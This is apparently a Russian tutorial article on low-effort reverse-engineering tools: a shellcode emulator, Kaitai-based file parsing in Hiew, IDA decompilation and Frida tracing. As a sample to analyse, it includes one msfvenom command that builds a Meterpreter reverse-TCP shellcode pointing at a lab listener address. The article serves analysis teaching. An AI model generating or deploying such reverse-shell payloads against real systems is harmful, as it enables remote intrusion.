Статья расскажет о практическом аспекте при использовании инструментария, который позволяет производить исследование программного обеспечения с минимальным порогом вхождения и максимальной информативностью. Рассмотрим следующие инструменты:

  • эмуляторы

  • библиотеки для разбора форматов файлов

  • интерактивные дизассемблеры

  • документация

  • динамическая инструментация

Первую часть статьи читайте здесь.

Эмуляторы

При анализе файлов, которые запускаются в операционных системах у специалиста по RE есть очень много подсказок. Например таких, как:

  • используемые из библиотек функции

  • разрядность процессора

  • расположение кода и данных с которыми работает приложение внтури файла

  • и т.д.

Но бывают и ситуации, когда нужно понять кусочек данных, который сам оп себе работать не будет, например шеллкод или базонезависимый код. Для изучения этого артефакта нужно написать кусок приложения на языке ассемблера, но для ускорения процесса мы будем использовать инструмент msfvenom.

Генерируем шеллкод:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.12 LPORT=7777 -f raw -o shellcodex86.hex

Откроем в шестнадцатеричном виде:

Не очень понятно, хотя и можно получить дизассемблированный листинг:

Кстати файл открыт в Hiew. Проанализировать статически такой код можно и при большом опыте занимает несколько секунд, но а что если мы просто попробуем это упростить?

Возьмем проект на базе libemu — единственная активная ссылка на момент написания статьи. Библиотека достаточно древняя, но свою работу выполняет до сих пор хорошо.

Запуск достаточно прост так как мы не используем дополнительных уровней для пакования шеллкода, можно просто поставить путь до файла и нажать `Launch`:

В результате мы можем просто видеть наименования функций, которые использует шеллкод и не тратить время на его разбор.

А что насчет файлов? Можно ли запускать отдельные функции или куски кода чтобы посмотреть что происходит с процессором или ОС? Для этого можно использовать инструменты, которые построены на другом проекте. Этот проект сейчас чуть ли не единственный, который используется исследователями для составления своих инструментов. Попробуем с ним повзаимодействовать. Для этого нам понадобится IDA Pro и вот этот плагин. Установка достатьчно проста, нужно скопировать файл плагина в директорию Python. Найти её можно там же, где была установлена IDA.

Остальной процесс аналогичен работе с эмулятором для шеллкода. Необходимо выбрать функцию для эмуляции и запустить ее. Оставим это упражнение на домашнее задание.

Библиотеки для разбора форматов файлов

Существует множество форматов файлов, которые достаточно сложно разбирать используя только документацию и чтобы было еще проще это делать можно просто воспользоваться разметкой. Как мы и писали в прошлой статье удобна для этих задач библиотека kaitai struct. Но для ее использования придется программировать, а у нас `ленивый` выпуск. Поэтому попробуем найти что-то с использованием этой бибилиотеки. Сразу попадается проект, который использует kaitai struct в качестве парсера и сразу же интегрирует его возможности в Hiew. Достаточно только скомпиллировать проект и выложить файл hew в директорию с установленным Hiew.

Загружаем файл, нажимаем F11 и выбираем вормат, который мы хотим изучить:

На странице проекта показано, что если включать подробный разбор данных, то будет подсвечиваться каждое поле, однако в версии Hiew, который был использован для скрина эта фича не заработала. Дополнять возможности плагина можно за счет описания новых форматов файлов и рекомпиляции плагина.

## Интерактивные дизассемблеры

Про эти массивные проекты можно писать бесконечно. Рассмотрим чудо функцию, которая есть в IDA Pro — декомпиляция. Она предоставляет псевдокод, который имеет Си подобный синтаксис и его даже можно компиллировать с помощью компилляторов типа cl.exe и gcc. Только для успешной компиляции придется предоставить все библиотеки, которые требует код.

Загрузим наш файл в интерактивный дизассемблер. Это моэно сделать через меню File или просто переместить файл на ярлык IDA.

Проведем декомпиляцию main функции нажав кнопку F5:

Иногда эта супер сила не работает и нужно еще предварительно исправлять ошибки анализатора. Эти особенности рассмотрим в следующих статьях.

Динамическая инструментация

По сути самая сложная среди инструментов, здесь без программирования не обойтись совсем. Можно поискать готовые сниппеты и подходы к изучению приложений, однако все равно придется немного `обработать напильником` чтобы использовать.

В этой статье будем использовать frida. Да, этот проект может быть использован не только для работы с мобильными приложениями.

Основные модули, которые предоставляет этот фреймворк позволяют отслеживать действия приложения на самых разных этапах. Например:

  • Interceptor — универсальный набор методов, который позволяет работать с функциями приложений на любых поддерживаемых платформах

  •  Stalker — сбор данных о работе кода приложения, так же доступен для всех поддерживаемых платформ

  •  ObjC — набор методов для работы с Runtime iOS и macOS

  •  Java — набор методов для работы с Runtime Java, наиболее популярен в использовании для платформы Android

Инструмент позволяет произвести сбор информации как относительно одной функции так и всех сразу. Давайте попробуем собрпть данные по тем функциям, которые мы видели в логах эмулятора:

1. LoadLibrary

2. WSAStartup

3. WSASocket

Как это сделать проще всего? Инструмент frida-trace. Инструмент сделает шаблон функции, которую можно будет модифицировать под любую задачу. Одно огрраничение - мониторинг в таком авиде работает только для одной функции. Ниже приведен пример для сбора данных по всем функциям, которые имеют префикс LoadLibrary:

frida-trace --decorate -i "LoadLibrary*" -f test.exe

Объединяя все инструменты вместе можно `лениво` проанализировать любой алгоритм, который будет в приложении без дополнительной защиты.


Автор статьи — Александр Колесников. Всех желающих также приглашаем на открытый урок, на котором разберём работу mbr руткита и проанализируем его ключевые этапы и стадии развёртывания. Регистрация по ссылке.

Комментарии (0)